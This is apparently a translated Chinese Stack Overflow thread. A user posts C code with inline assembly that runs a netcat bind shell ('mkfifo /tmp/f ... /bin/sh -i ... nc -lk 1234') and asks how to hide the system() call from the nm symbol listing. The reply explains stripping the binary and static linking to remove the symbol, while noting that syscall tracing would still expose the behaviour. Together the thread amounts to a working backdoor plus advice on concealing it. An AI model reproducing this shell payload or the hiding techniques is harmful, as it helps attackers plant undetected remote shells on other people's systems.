我有以下asm代码:
int main(void)
{
__asm__(" subq $16, %rsp\n"
"leaq L_.str(%rip), %rdi\n"
"movb $0, %al\n"
"callq _system\n"
"xorl %ecx, %ecx\n"
"movl %eax, -4(%rbp)\n"
"movl %ecx, %eax\n"
"addq $16, %rsp\n"
"popq %rbp\n"
".section __TEXT,__cstring,cstring_literals\n"
"L_.str:\n"
".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n"
"retq\n");
}
它等于:
system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f");
我正在使用C语言,当我编译它们并对可执行文件执行NM时,我们可以在符号中看到_system函数。
我的问题是:如何通过在ASM代码中执行某些操作来隐藏NM命令上的此符号?
答案 0 :(得分:0)
一种选择是在链接后剥离二进制文件。这将删除符号表和所有符号。这可以通过在链接阶段传递-s
或在生成的二进制文件上调用strip
来实现。
请注意,因为libc可能作为共享库加载,所以字符串_system
将出现在二进制文件中,以便在libc anyqay中查找它。为了摆脱这种情况,你需要静态链接libc(为此目的,gcc接受-static
)。但是,即使这样,也很容易通过跟踪它所调用的系统来推断出你的程序正在做什么(例如使用像truss
这样的实用程序。